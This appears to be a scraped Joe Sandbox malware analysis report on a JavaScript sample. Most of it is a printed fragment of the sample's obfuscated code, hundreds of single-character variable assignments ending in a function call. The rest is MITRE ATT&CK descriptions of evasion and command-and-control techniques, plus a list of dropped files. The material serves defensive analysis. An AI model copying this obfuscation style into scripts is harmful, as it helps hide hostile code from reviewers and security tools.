527	meskaicjr = "Z";
528	meskaicjr = "f";
529	meskaicjr = "R";
530	meskaicjr = "E";
531	meskaicjr = "l";
532	meskaicjr = "R";
533	meskaicjr = "q";
534	meskaicjr = "c";
535	jrpcle = "s";
536	jrpcle = "a";
537	jrpcle = "L";
538	jrpcle = "O";
539	jrpcle = "C";
540	jrpcle = "L";
541	jrpcle = "F";
542	jrpcle = "p";
543	jrpcle = "Y";
544	jrpcle = "k";
545	jrpcle = "c";
546	jrpcle = "I";
547	jrpcle = "b";
548	jrpcle = "Y";
549	jrpcle = "t";
550	jrpcle = "H";
551	nchcvupbn = "N";
552	nchcvupbn = "k";
553	nchcvupbn = "B";
554	nchcvupbn = "V";
555	nchcvupbn = "F";
556	nchcvupbn = "n";
557	nchcvupbn = "o";
558	xrvrce = "O";
559	xrvrce = "t";
560	xrvrce = "E";
561	xrvrce = "X";
562	xrvrce = "H";
563	xrvrce = "F";
564	xrvrce = "N";
565	xrvrce = "O";
566	xrvrce = "f";
567	xrvrce = "L";
568	xrvrce = "F";
569	xrvrce = "B";
570	xrvrce = "u";
571	xrvrce = "h";
572	xrvrce = "Y";
573	xrvrce = "x";
574	xrvrce = "P";
575	xrvrce = "Q";
576	xrvrce = "s";
577	xrvrce = "q";
578	xrvrce = "e";
579	xrvrce = "n";
580	xrvrce = "z";
581	xrvrce = "w";
582	xrvrce = "r";
583	xrvrce = "o";
584	xrvrce = "O";
585	xrvrce = "G";
586	xrvrce = "B";
587	xrvrce = "N";
588	xrvrce = "Q";
589	xrvrce = "r";
590	xrvrce = "X";
591	xrvrce = "h";
592	xrvrce = "d";
593	xrvrce = "y";
594	xrvrce = "N";
595	xrvrce = "k";
596	xrvrce = "q";
597	xrvrce = "K";
598	xrvrce = "q";
599	xrvrce = "y";
600	xrvrce = "r";
601	mewvogk = "F";
602	mewvogk = "Z";
603	mewvogk = "s";
604	mewvogk = "W";
605	mewvogk = "U";
606	mewvogk = "D";
607	mewvogk = "D";
608	mewvogk = "c";
609	mewvogk = "a";
610	mewvogk = "c";
611	mewvogk = "c";
612	mewvogk = "g";
613	mewvogk = "S";
614	mewvogk = "i";
615	mewvogk = "V";
616	mewvogk = "e";
617	mewvogk = "t";
618	mewvogk = "m";
619	mewvogk = "n";
620	mewvogk = "k";
621	mewvogk = "I";
622	mewvogk = "S";
623	mewvogk = "w";
624	ltxvarg = "F";
625	ltxvarg = "A";
626	ltxvarg = "S";
627	ltxvarg = "X";
628	ltxvarg = "o";
629	ltxvarg = "p";
630	ltxvarg = "h";
631	ltxvarg = "F";
632	ltxvarg = "f";
633	ltxvarg = "d";
634	ltxvarg = "O";
635	ltxvarg = "H";
636	ltxvarg = "S";
637	ltxvarg = "S";
638	ltxvarg = "p";
639	bsytld = "R";
640	bsytld = "r";
641	bsytld = "F";
642	bsytld = "V";
643	bsytld = "x";
644	bsytld = "Y";
645	bxzyweede = "y";
646	bxzyweede = "k";
647	bxzyweede = "C";
648	bxzyweede = "h";
649	bxzyweede = "x";
650	bxzyweede = "b";
651	bxzyweede = "w";
652	bxzyweede = "Y";
653	bxzyweede = "q";
654	bxzyweede = "A";
655	bxzyweede = "R";
656	bxzyweede = "r";
657	bxzyweede = "N";
658	bxzyweede = "v";
659	bxzyweede = "N";
660	bxzyweede = "q";
661	bxzyweede = "E";
662	bxzyweede = "T";
663	bxzyweede = "v";
664	bxzyweede = "l";
665	bxzyweede = "L";
666	bxzyweede = "u";
667	bxzyweede = "T";
668	bxzyweede = "s";
669	bxzyweede = "b";
670	bxzyweede = "A";
671	bxzyweede = "C";
672	bxzyweede = "x";
673	bxzyweede = "y";
674	bxzyweede = "C";
675	bxzyweede = "s";
676	oifmwnlgg = "J";
677	oifmwnlgg = "I";
678	oifmwnlgg = "q";
679	oifmwnlgg = "d";
680	qhvij = "Y";
681	qhvij = "j";
682	qhvij = "r";
683	qhvij = "Y";
684	qhvij = "O";
685	qhvij = "P";
686	octzaxk = "b";
687	octzaxk = "B";
688	octzaxk = "Y";
689	octzaxk = "i";
690	octzaxk = "W";
691	octzaxk = "x";
692	octzaxk = "f";
693	octzaxk = "F";
694	octzaxk = "B";
695	octzaxk = "F";
696	octzaxk = "m";
697	octzaxk = "m";
698	octzaxk = "J";
699	octzaxk = "B";
700	octzaxk = "a";
701	octzaxk = "l";
702	octzaxk = "e";
703	octzaxk = "h";
704	octzaxk = "a";
705	octzaxk = "A";
706	octzaxk = "L";
707	octzaxk = "U";
708	octzaxk = "t";
709	octzaxk = "F";
710	octzaxk = "q";
711	octzaxk = "K";
712	octzaxk = "a";
713	octzaxk = "F";
714	octzaxk = "I";
715	octzaxk = "b";
716	octzaxk = "Q";
717	octzaxk = "n";
718	octzaxk = "H";
719	octzaxk = "n";
720	octzaxk = "d";
721	octzaxk = "s";
722	octzaxk = "O";
723	octzaxk = "v";
724	octzaxk = "i";
725	octzaxk = "b";
726	fbgzqg = "b";
727	fbgzqg = "U";
728	fbgzqg = "L";
729	fbgzqg = "v";
730	fbgzqg = "A";
731	fbgzqg = "J";
732	fbgzqg = "D";
733	fbgzqg = "U";
734	fbgzqg = "d";
735	fbgzqg = "y";
736	fbgzqg = "C";
737	fbgzqg = "W";
738	fbgzqg = "m";
739	fbgzqg = "v";
740	fbgzqg = "G";
741	fbgzqg = "E";
742	fbgzqg = "R";
743	fbgzqg = "p";
744	fbgzqg = "X";
745	fbgzqg = "w";
746	fbgzqg = "S";
747	fbgzqg = "C";
748	fbgzqg = "l";
749	fbgzqg = "Q";
750	fbgzqg = "E";
751	fbgzqg = "r";
752	fbgzqg = "I";
753	fbgzqg = "u";
754	fbgzqg = "N";
755	fbgzqg = "G";
756	fbgzqg = "i";
757	fbgzqg = "h";
758	fbgzqg = ".";
759	pxqormh = "F";
760	iwyrb = "i";
761	iwyrb = "x";
762	iwyrb = "p";
763	iwyrb = "B";
764	iwyrb = "m";
765	iwyrb = "Z";
766	iwyrb = "p";
767	iwyrb = "h";
768	iwyrb = "V";
769	iwyrb = "q";
770	iwyrb = "@";
771	fazcinutz = "j";
772	fazcinutz = "B";
773	fazcinutz = "g";
774	fazcinutz = "k";
775	fazcinutz = "g";
776	fazcinutz = "K";
777	fazcinutz = "W";
778	fazcinutz = "M";
779	fazcinutz = "j";
780	fazcinutz = "R";
781	fazcinutz = "z";
782	fazcinutz = "A";
783	fazcinutz = "B";
784	fazcinutz = "M";
785	fazcinutz = "f";
786	fazcinutz = "m";
787	fazcinutz = "H";
788	fazcinutz = "w";
789	fazcinutz = "S";
790	fazcinutz = "c";
791	fazcinutz = "b";
792	fazcinutz = "A";
793	fazcinutz = "E";
794	fazcinutz = "d";
795	fazcinutz = "A";
796	fazcinutz = "B";
797	fazcinutz = "y";
798	fazcinutz = "m";
799	fazcinutz = "B";
800	fazcinutz = "i";
801	fazcinutz = "J";
802	fazcinutz = "_";
803	fmgzpnhqa = "J";
804	fmgzpnhqa = "J";
805	fmgzpnhqa = "B";
806	fmgzpnhqa = "p";
807	fmgzpnhqa = "Y";
808	fmgzpnhqa = "B";
809	fmgzpnhqa = "q";
810	fmgzpnhqa = "Y";
811	fmgzpnhqa = "Q";
812	fmgzpnhqa = "B";
813	fmgzpnhqa = "K";
814	fmgzpnhqa = "E";
815	fmgzpnhqa = "u";
816	fmgzpnhqa = "e";
817	fmgzpnhqa = "M";
818	fmgzpnhqa = "T";
819	fmgzpnhqa = "t";
820	zirqcidjj = "b";
821	zirqcidjj = "m";
822	zirqcidjj = "T";
823	zirqcidjj = "M";
824	zirqcidjj = "U";
825	zirqcidjj = "k";
826	zirqcidjj = "J";
827	zirqcidjj = "S";
828	zirqcidjj = "q";
829	zirqcidjj = "f";
830	zirqcidjj = "X";
831	zirqcidjj = "h";
832	zirqcidjj = "v";
833	zirqcidjj = "Q";
834	zirqcidjj = "n";
835	zirqcidjj = "k";
836	zirqcidjj = "i";
837	zirqcidjj = "z";
838	zirqcidjj = "B";
839	zirqcidjj = "l";
840	zirqcidjj = "H";
841	zirqcidjj = "Z";
842	zirqcidjj = "y";
843	zirqcidjj = "0";
844	ontsgtx = "X";
845	ontsgtx = "-";
846	fjfafz = "b";
847	fjfafz = "U";
848	fjfafz = "R";
849	fjfafz = "l";
850	fjfafz = "x";
851	lwttbqq = "k";
852	lwttbqq = "W";
853	lwttbqq = "F";
854	lwttbqq = "U";
855	lwttbqq = "m";
856	lwttbqq = "K";
857	mhhqioeh = "B";
858	mhhqioeh = "n";
859	qhowevrcu = "n";
860	qhowevrcu = "w";
861	qhowevrcu = "H";
862	qhowevrcu = "J";
863	qhowevrcu = "P";
864	qhowevrcu = "B";
865	qhowevrcu = "m";
866	qhowevrcu = "a";
867	qhowevrcu = "G";
868	qhowevrcu = "Q";
869	qhowevrcu = "z";
870	qhowevrcu = "B";
871	qhowevrcu = "e";
872	qhowevrcu = "Z";
873	qhowevrcu = "M";
874	qhowevrcu = "m";
875	qhowevrcu = "k";
876	qhowevrcu = "3";
877	oqflstyhf = "x";
878	oqflstyhf = "e";
879	oqflstyhf = "k";
880	oqflstyhf = "j";
881	oqflstyhf = "C";
882	oqflstyhf = "U";
883	oqflstyhf = "o";
884	oqflstyhf = "W";
885	oqflstyhf = "V";
886	oqflstyhf = "e";
887	oqflstyhf = "o";
888	oqflstyhf = "e";
889	oqflstyhf = "t";
890	oqflstyhf = "E";
891	oqflstyhf = "O";
892	oqflstyhf = "I";
893	oqflstyhf = "z";
894	oqflstyhf = "i";
895	oqflstyhf = "J";
896	oqflstyhf = "T";
897	oqflstyhf = "B";
898	oqflstyhf = "l";
899	oqflstyhf = "d";
900	oqflstyhf = "l";
901	oqflstyhf = " ";
902	dkgdvk = "o";
903	dkgdvk = "V";
904	dkgdvk = "c";
905	dkgdvk = "Y";
906	dkgdvk = "O";
907	dkgdvk = "s";
908	dkgdvk = "h";
909	dkgdvk = "Q";
910	dkgdvk = "O";
911	dkgdvk = "H";
912	dkgdvk = "n";
913	dkgdvk = "Y";
914	dkgdvk = "a";
915	dkgdvk = "B";
916	dkgdvk = "E";
917	dkgdvk = "x";
918	dkgdvk = "D";
919	dkgdvk = "L";
920	dkgdvk = "g";
921	dkgdvk = "o";
922	dkgdvk = "W";
923	dkgdvk = "x";
924	dkgdvk = "W";
925	dkgdvk = "V";
926	dkgdvk = "t";
927	dkgdvk = "y";
928	dkgdvk = "N";
929	dkgdvk = "9";
930	wowcsosxo = "c";
931	wowcsosxo = "T";
932	wowcsosxo = "M";
933	wowcsosxo = "r";
934	wowcsosxo = "v";
935	wowcsosxo = "E";
936	wowcsosxo = "P";
937	wowcsosxo = "x";
938	wowcsosxo = "U";
939	wowcsosxo = "c";
940	wowcsosxo = "y";
941	wowcsosxo = "a";
942	wowcsosxo = "U";
943	wowcsosxo = "Z";
944	wowcsosxo = "F";
945	wowcsosxo = "u";
946	acwkyt = "c";
947	acwkyt = "C";
948	acwkyt = "K";
949	acwkyt = "m";
950	acwkyt = "H";
951	acwkyt = "u";
952	acwkyt = "s";
953	acwkyt = "G";
954	acwkyt = "\"";
955	swcgbixk = "U";
956	swcgbixk = "g";
957	swcgbixk = "R";
958	swcgbixk = "J";
959	swcgbixk = "f";
960	swcgbixk = "h";
961	swcgbixk = "q";
962	swcgbixk = "A";
963	swcgbixk = "U";
964	swcgbixk = "X";
965	swcgbixk = "N";
966	swcgbixk = "H";
967	swcgbixk = "G";
968	swcgbixk = "q";
969	swcgbixk = "B";
970	swcgbixk = "z";
971	swcgbixk = "e";
972	swcgbixk = "f";
973	swcgbixk = "k";
974	swcgbixk = "y";
975	swcgbixk = "R";
976	swcgbixk = "h";
977	swcgbixk = "g";
978	drztho = "A";
979	drztho = "Y";
980	drztho = "C";
981	drztho = "i";
982	drztho = "P";
983	drztho = "M";
984	drztho = "u";
985	drztho = "g";
986	drztho = "F";
987	drztho = "S";
988	drztho = "w";
989	drztho = "C";
990	drztho = "s";
991	drztho = "v";
992	drztho = "p";
993	drztho = "b";
994	drztho = "L";
995	drztho = "y";
996	drztho = "h";
997	drztho = "l";
998	drztho = "T";
999	drztho = "i";
1000	drztho = "f";
1001	drztho = "t";
1002	drztho = "K";
1003	drztho = "U";
1004	drztho = "x";
1005	drztho = "L";
1006	drztho = "c";
1007	drztho = "O";
1008	drztho = "A";
1009	drztho = "s";
1010	drztho = "f";
1011	drztho = "L";
1012	drztho = "R";
1013	drztho = "h";
1014	hchzqdcil = "g";
1015	hchzqdcil = "z";
1016	hchzqdcil = "l";
1017	hchzqdcil = "j";
1018	hchzqdcil = "C";
1019	hchzqdcil = "Y";
1020	hchzqdcil = "h";
1021	hchzqdcil = "w";
1022	hchzqdcil = "w";
1023	hchzqdcil = "U";
1024	hchzqdcil = "G";
1025	hchzqdcil = "I";
1026	hchzqdcil = "c";
1027	hchzqdcil = "L";
1028	hchzqdcil = "p";
1029	hchzqdcil = "L";
1030	hchzqdcil = "s";
1031	hchzqdcil = "T";
1032	hchzqdcil = "j";
1033	hchzqdcil = "u";
1034	hchzqdcil = "M";
1035	hchzqdcil = "q";
1036	hchzqdcil = "P";
1037	hchzqdcil = "I";
1038	hchzqdcil = "a";
1039	hchzqdcil = "A";
1040	hchzqdcil = "H";
1041	hchzqdcil = "H";
1042	hchzqdcil = "w";
1043	hchzqdcil = "p";
1044	hchzqdcil = "L";
1045	hchzqdcil = "S";
1046	hchzqdcil = "R";
1047	hchzqdcil = "S";
1048	hchzqdcil = "G";
1049	hchzqdcil = "z";
1050	hchzqdcil = "M";
1051	hchzqdcil = "b";
1052	hchzqdcil = "a";
1053	hchzqdcil = "f";
1054	hchzqdcil = "k";
1055	ztqubc = "y";
1056	ztqubc = "p";
1057	ztqubc = "e";
1058	ztqubc = "m";
1059	ztqubc = "q";
1060	ztqubc = "m";
1061	ztqubc = "o";
1062	ztqubc = "o";
1063	ztqubc = "J";
1064	ztqubc = "z";
1065	ztqubc = "i";
1066	ztqubc = "m";
1067	ztqubc = "I";
1068	ztqubc = "n";
1069	ztqubc = "w";
1070	ztqubc = "i";
1071	ztqubc = "G";
1072	ztqubc = "r";
1073	ztqubc = "d";
1074	ztqubc = "V";
1075	ztqubc = "b";
1076	ztqubc = "f";
1077	ztqubc = "c";
1078	ztqubc = "L";
1079	ztqubc = "p";
1080	ztqubc = "z";
1081	ztqubc = "c";
1082	ztqubc = "K";
1083	ztqubc = "F";
1084	ztqubc = "Q";
1085	wjvpnvyje = "m";
1086	wjvpnvyje = "X";
1087	wjvpnvyje = "a";
1088	wjvpnvyje = "N";
1089	wjvpnvyje = "q";
1090	wjvpnvyje = "T";
1091	wjvpnvyje = "Y";
1092	wjvpnvyje = "z";
1093	wjvpnvyje = "k";
1094	wjvpnvyje = "N";
1095	wjvpnvyje = "e";
1096	wjvpnvyje = "k";
1097	wjvpnvyje = "v";
1098	wjvpnvyje = "l";
1099	wjvpnvyje = "z";
1100	wjvpnvyje = "b";
1101	wjvpnvyje = "U";
1102	wjvpnvyje = "K";
1103	wjvpnvyje = "b";
1104	wjvpnvyje = "n";
1105	wjvpnvyje = "m";
1106	wjvpnvyje = "G";
1107	wjvpnvyje = "Z";
1108	wjvpnvyje = "M";
1109	wjvpnvyje = "K";
1110	wjvpnvyje = "X";
1111	wjvpnvyje = "w";
1112	wjvpnvyje = "h";
1113	wjvpnvyje = "I";
1114	wjvpnvyje = "P";
1115	wjvpnvyje = "T";
1116	wjvpnvyje = "P";
1117	wjvpnvyje = "s";
1118	wjvpnvyje = "a";
1119	wjvpnvyje = "y";
1120	wjvpnvyje = "E";
1121	wjvpnvyje = "U";
1122	wjvpnvyje = "h";
1123	wjvpnvyje = "H";
1124	wjvpnvyje = "W";
1125	wjvpnvyje = "A";
1126	wjvpnvyje = "o";
1127	wjvpnvyje = "Q";
1128	wjvpnvyje = "I";
1129	dvoynquv = "Z";
1130	dvoynquv = "M";
1131	dvoynquv = "g";
1132	dvoynquv = "j";
1133	dvoynquv = "w";
1134	dvoynquv = "H";
1135	dvoynquv = "u";
1136	dvoynquv = "C";
1137	dvoynquv = "H";
1138	dvoynquv = "w";
1139	dvoynquv = "L";
1140	dvoynquv = "q";
1141	dvoynquv = "J";
1142	dvoynquv = "m";
1143	dvoynquv = "w";
1144	dvoynquv = "F";
1145	dvoynquv = "v";
1146	dvoynquv = "f";
1147	dvoynquv = "v";
1148	dvoynquv = "l";
1149	dvoynquv = "s";
1150	dvoynquv = "d";
1151	dvoynquv = "m";
1152	dvoynquv = "l";
1153	dvoynquv = "i";
1154	dvoynquv = "u";
1155	dvoynquv = "b";
1156	dvoynquv = "Z";
1157	dvoynquv = "V";
1158	dvoynquv = "M";
1159	dvoynquv = "i";
1160	dvoynquv = "i";
1161	dvoynquv = "R";
1162	dvoynquv = "t";
1163	dvoynquv = "f";
1164	dvoynquv = "m";
1165	dvoynquv = "g";
1166	dvoynquv = "L";
1167	dvoynquv = "x";
1168	dvoynquv = "M";
1169	dvoynquv = "r";
1170	dvoynquv = "E";
1171	ggala = "K";
1172	ggala = "p";
1173	ggala = "K";
1174	ggala = "c";
1175	ggala = "J";
1176	ggala = "t";
1177	ggala = "t";
1178	ggala = "R";
1179	ggala = "c";
1180	ggala = "A";
1181	ggala = "U";
1182	ggala = "b";
1183	ggala = "C";
1184	ggala = "R";
1185	ggala = "t";
1186	ggala = "P";
1187	ggala = "o";
1188	ggala = "d";
1189	ggala = "E";
1190	ggala = "N";
1191	ggala = "h";
1192	ggala = "E";
1193	ggala = "i";
1194	iffiyb = "I";
1195	iffiyb = "u";
1196	iffiyb = "w";
1197	iffiyb = "d";
1198	iffiyb = "E";
1199	iffiyb = "z";
1200	iffiyb = "S";
1201	iffiyb = "k";
1202	iffiyb = "y";
1203	iffiyb = "h";
1204	iffiyb = "T";
1205	iffiyb = "R";
1206	iffiyb = "z";
1207	iffiyb = "a";
1208	iffiyb = "M";
1209	iffiyb = "a";
1210	iffiyb = "H";
1211	iffiyb = "t";
1212	iffiyb = "m";
1213	iffiyb = "I";
1214	iffiyb = "r";
1215	iffiyb = "e";
1216	iffiyb = "S";
1217	iffiyb = "G";
1218	iffiyb = "v";
1219	iffiyb = "R";
1220	iffiyb = "Q";
1221	iffiyb = "w";
1222	iffiyb = "U";
1223	iffiyb = "x";
1224	iffiyb = "f";
1225	iffiyb = "s";
1226	iffiyb = "A";
1227	iffiyb = "t";
1228	iffiyb = "v";
1229	iffiyb = "i";
1230	iffiyb = "L";
1231	eklmi = "w";
1232	eklmi = "O";
1233	eklmi = "Z";
1234	eklmi = "m";
1235	eklmi = "j";
1236	eklmi = "c";
1237	eklmi = "O";
1238	eklmi = "Z";
1239	eklmi = "y";
1240	eklmi = "O";
1241	eklmi = "u";
1242	eklmi = "k";
1243	eklmi = "E";
1244	eklmi = "W";
1245	eklmi = "a";
1246	eklmi = "f";
1247	eklmi = "f";
1248	eklmi = "t";
1249	eklmi = "Q";
1250	eklmi = "R";
1251	eklmi = "t";
1252	eklmi = "U";
1253	eklmi = "O";
1254	eklmi = "k";
1255	eklmi = "U";
1256	eklmi = "j";
1257	uitmf = "X";
1258	uitmf = "V";
1259	uitmf = "R";
1260	uitmf = "X";
1261	uitmf = "Q";
1262	uitmf = "r";
1263	uitmf = "s";
1264	uitmf = "W";
1265	uitmf = "r";
1266	uitmf = "a";
1267	uitmf = "A";
1268	uitmf = "p";
1269	uitmf = "j";
1270	uitmf = "w";
1271	uitmf = "I";
1272	uitmf = "s";
1273	uitmf = "D";
1274	uitmf = "b";
1275	uitmf = "i";
1276	uitmf = "Q";
1277	uitmf = "r";
1278	uitmf = "x";
1279	uitmf = "K";
1280	uitmf = "X";
1281	uitmf = "b";
1282	uitmf = "C";
1283	uitmf = "j";
1284	uitmf = "c";
1285	uitmf = "P";
1286	uitmf = "W";
1287	scinhtyu ( );	scinhtyu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1353125634235611874.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

